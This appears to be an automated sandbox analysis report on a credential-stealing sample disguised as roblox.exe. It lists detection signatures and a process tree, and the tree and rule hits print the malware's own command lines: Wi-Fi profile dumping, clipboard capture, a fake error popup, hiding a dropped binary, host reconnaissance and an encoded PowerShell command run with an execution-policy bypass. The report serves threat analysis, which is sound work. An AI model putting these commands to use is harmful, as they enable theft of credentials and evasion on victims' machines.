Edit tour

Windows Analysis Report
roblox.exe

Overview

General Information

Sample name:	roblox.exe
Analysis ID:	1577522
MD5:	6898eace70e2da82f257bc78cb081b2f
SHA1:	5ac5ed21436d8b4c59c0b62836d531844c571d6d
SHA256:	bcdd8b7c9ec736765d4596332c0fec1334b035d4456df1ec25b569f9b6431a23
Tags:	18521511316185215113209bulletproofexePythonStealeruser-abus3reports
Infos:

Detection

Python Stealer, Monster Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Monster Stealer

AI detected suspicious sample

Bypasses PowerShell execution policy

Detected generic credential text file

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Gathers network related connection and port information

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Overwrites the password of the administrator account

Performs a network lookup / discovery via ARP

Potentially malicious time measurement code found

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Sigma detected: MSHTA Suspicious Execution 01

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Uses netstat to query active network connections and open ports

Yara detected Generic Python Stealer

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SLDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Console CodePage Lookup Via CHCP

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

roblox.exe (PID: 6600 cmdline: "C:\Users\user\Desktop\roblox.exe" MD5: 6898EACE70E2DA82F257BC78CB081B2F)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

stub.exe (PID: 1892 cmdline: C:\Users\user\Desktop\roblox.exe MD5: D09A400F60C7A298E884F90539E9C72F)

cmd.exe (PID: 6208 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 6844 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 6460 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7132 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

tasklist.exe (PID: 4668 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 4160 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

attrib.exe (PID: 1440 cmdline: attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 1476 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

mshta.exe (PID: 1532 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 6160 cmdline: C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

taskkill.exe (PID: 6408 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cmd.exe (PID: 5612 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

tasklist.exe (PID: 6476 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 904 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 4276 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 3920 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 7140 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 6208 cmdline: C:\Windows\system32\cmd.exe /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 5520 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7124 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

systeminfo.exe (PID: 6948 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 5860 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

HOSTNAME.EXE (PID: 5016 cmdline: hostname MD5: 33AFAA43B84BDEAB12E02F9DBD2B2EE0)

WMIC.exe (PID: 4440 cmdline: wmic logicaldisk get caption,description,providername MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

net.exe (PID: 5520 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 4072 cmdline: C:\Windows\system32\net1 user MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

query.exe (PID: 7100 cmdline: query user MD5: 29043BC0B0F99EAFF36CAD35CBEE8D45)

quser.exe (PID: 4208 cmdline: "C:\Windows\system32\quser.exe" MD5: 480868AEBA9C04CA04D641D5ED29937B)

net.exe (PID: 4832 cmdline: net localgroup MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 5744 cmdline: C:\Windows\system32\net1 localgroup MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 1440 cmdline: net localgroup administrators MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 4744 cmdline: C:\Windows\system32\net1 localgroup administrators MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 4436 cmdline: net user guest MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 4688 cmdline: C:\Windows\system32\net1 user guest MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 5464 cmdline: net user administrator MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 3992 cmdline: C:\Windows\system32\net1 user administrator MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

WMIC.exe (PID: 3920 cmdline: wmic startup get caption,command MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

tasklist.exe (PID: 1532 cmdline: tasklist /svc MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

ipconfig.exe (PID: 6336 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 2076 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

ARP.EXE (PID: 6460 cmdline: arp -a MD5: 2AF1B2C042B83437A4BE82B19749FA98)

NETSTAT.EXE (PID: 5548 cmdline: netstat -ano MD5: 7FDDD6681EA81CE26E64452336F479E6)

sc.exe (PID: 5324 cmdline: sc query type= service state= all MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

netsh.exe (PID: 5032 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

netsh.exe (PID: 6720 cmdline: netsh firewall show config MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7108 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

netsh.exe (PID: 1524 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 6408 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 4832 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 6128 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 828 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 2520 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

WMIC.exe (PID: 2748 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000003.00000000.2229572873.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: roblox.exe PID: 6600	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: roblox.exe PID: 6600	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: roblox.exe PID: 6600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: stub.exe PID: 1892	JoeSecurity_GenericPythonStealer	Yara detected Generic Python Stealer	Joe Security
Process Memory Space: stub.exe PID: 1892	JoeSecurity_MonsterStealer	Yara detected Monster Stealer	Joe Security
Process Memory Space: stub.exe PID: 1892	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1476, ParentProcessName: cmd.exe, ProcessCommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", ProcessId: 1532, ProcessName: mshta.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wbem\WMIC.exe, SourceProcessId: 3920, StartAddress: C76632B0, TargetImage: C:\Windows\System32\cmd.exe, TargetProcessId: 3920

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA, CommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA, Comm

Sigma detected: Console CodePage Lookup Via CHCP

Source: Process started

Author: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6208, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 5520, ProcessName: chcp.com

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\roblox.exe, ParentImage: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, ParentProcessId: 1892, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ProcessId: 904, ProcessName: cmd.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net localgroup administrators, CommandLine: net localgroup administrators, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo 